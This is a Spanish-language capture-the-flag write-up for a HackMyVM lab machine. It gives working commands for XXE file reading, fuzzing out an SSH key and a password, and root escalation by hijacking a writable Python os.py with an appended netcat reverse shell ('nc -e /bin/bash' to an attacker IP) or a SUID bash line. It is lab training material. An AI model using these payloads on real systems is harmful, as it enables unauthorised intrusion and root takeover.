Identificamos la IP de la máquina víctima:
❯ arp-scan --interface=wlo1 --localnet | grep PCS
192.168.1.44 08:00:27:2c:a2:91 PCS Systemtechnik GmbHEnumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:29 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:2C:A2:91 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.44
Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 21:30 -0400
Nmap scan report for 192.168.1.44
Host is up (0.00037s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 27:71:24:58:d3:7c:b3:8a:7b:32:49:d1:c8:0b:4c:ba (RSA)
| 256 e2:30:67:38:7b:db:9a:86:21:01:3e:bf:0e:e7:4f:26 (ECDSA)
|_ 256 5d:78:c5:37:a8:58:dd:c4:b6:bd:ce:b5:ba:bf:53:dc (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: HackMyVM Panel
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 secondsIngresamos al sitio, y encontramos un formulario para registrarse en la página.
Analizamos el código fuente de la página, y vemos que el input submit, llama una función llamada XMLFunction, por lo que verificamos si es vulnerable a XXE (XML External Entity):
...
<input type="submit" value="Register" onclick="XMLFunction()" />
...Rellenamos el formulario y antes de enviar nuestra petición, interceptamos con burpsuite para analizar la request:
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<details>
<email>admin</email>
<password>asdf</password>
</details>Definimos un DTD (Document Type Definition), que permite declarar entidades y estructuras que se pueden usar en el documento XML.
Aquí se define una entidad externa llamada pwned, quedando la request de esta manera:
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 102
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
<!ENTITY pwned SYSTEM "file:///etc/passwd">
]>
<details>
<email>
&pwned;
</email>
<password>
asdf
</password>
</details>Descubrimos al usuario david:
root:x:0:0:root:/root:/bin/bash
david:x:1000:1000::/home/david:/bin/bashCreamos un template con la request y el payload, incluyendo la palabra reservada FUZZ, para fuzzear en el directorio home del usuario david en busca de archivos útiles, utilizando la herramienta ffuf:
❯ cat xxe-template.xml
POST /magic.php HTTP/1.1
Host: 192.168.1.44
Content-Length: 176
Accept-Language: es-419,es;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://192.168.1.44
Referer: http://192.168.1.44/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE results [
<!ENTITY pwned SYSTEM "file:///home/david/FUZZ">
]>
<details>
<email>&pwned;</email>
<password>admin</password>
</details>❯ ffuf -request xxe-template.xml -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/quickhits.txt -u http://192.168.1.44/magic.php -X POST -H "Content-Type: application/xml" -fs 85
...
.profile [Status: 200, Size: 892, Words: 138, Lines: 28, Duration: 19ms]
.ssh/id_rsa [Status: 200, Size: 2687, Words: 17, Lines: 39, Duration: 16ms]
.ssh/id_rsa.pub [Status: 200, Size: 653, Words: 13, Lines: 2, Duration: 16ms]
.viminfo [Status: 200, Size: 786, Words: 90, Lines: 39, Duration: 15ms]
...Verificamos los archivos, y encontramos una ruta a un fichero llamado mypass.txt dentro de /home/david/.viminfo:
<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///home/david/.viminfo">]>
...
# Password file Created:
'0 1 3 /usr/local/etc/mypass.txt
...<!DOCTYPE results [<!ENTITY pwned SYSTEM "file:///usr/local/etc/mypass.txt">]>
...
h4ck3rd4v!d
...Nos conectamos vía ssh y obtenemos la primera flag:
❯ ssh david@192.168.1.44
david@192.168.1.44\'s password: h4ck3rd4v!d
Linux system 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 27 23:36:27 2025 from 192.168.1.5
david@system:~$Para escalar privilegios, analizamos los procesos que corren en la máquina con pspy64 (https://github.com/DominicBreuker/pspy).
Luego de un tiempo, vemos que hay una tarea programada para ejecutar un script en Python:
david@system:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
david@system:/tmp$ chmod +x pspy64
david@system:/tmp$ ./pspy64
...
2025/07/27 23:41:01 CMD: UID=0 PID=945 | /bin/sh -c /usr/bin/python3.9 /opt/suid.py
...Verificamos los permisos del archivo suid.py:
david@system:/tmp$ ls -l /opt/suid.py
-rw-r--r-- 1 root root 563 Apr 2 2022 /opt/suid.pyListamos su contenido:
david@system:/tmp$ cat /opt/suid.pyfrom os import system
from pathlib import Path
# Reading only first line
try:
with open('/home/david/cmd.txt', 'r') as f:
read_only_first_line = f.readline()
# Write a new file
with open('/tmp/suid.txt', 'w') as f:
f.write(f"{read_only_first_line}")
check = Path('/tmp/suid.txt')
if check:
print("File exists")
try:
os.system("chmod u+s /bin/bash")
except NameError:
print("Done")
else:
print("File not exists")
except FileNotFoundError:
print("File not exists")Verificamos los permisos en las librerías utilizadas por el script:
david@system:/tmp$ find / -name os.py 2>/dev/null
/usr/lib/python3.9/os.py
david@system:/tmp$ ls -l /usr/lib/python3.9/os.py
-rw-rw-rw- 1 root root 39063 Apr 2 2022 /usr/lib/python3.9/os.pyTenemos permisos de escritura en la librería os.py, por lo que podemos escalar privilegios de varias maneras, realizando un Python Library Hijacking.
Podemos crear un script que contenga una reverse shell y agregarlo al final de la librería:
david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4def pwned():
import subprocess
subprocess.run(["nc","-e","/bin/bash","192.168.1.5","1234"])
pwned()❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.44:54598.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@system:~#También podríamos modificar los permisos SUID de algún binario como /bin/bash:
david@system:/tmp$ cat /usr/lib/python3.9/os.py | tail -n 4def pwned():
import subprocess
subprocess.run(["chmod","u+s","/bin/bash"])
pwned()david@system:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Aug 4 2021 /bin/bash
david@system:/tmp$ bash -p
bash-5.1# whoami
rootObtenemos nuestra flag y fin.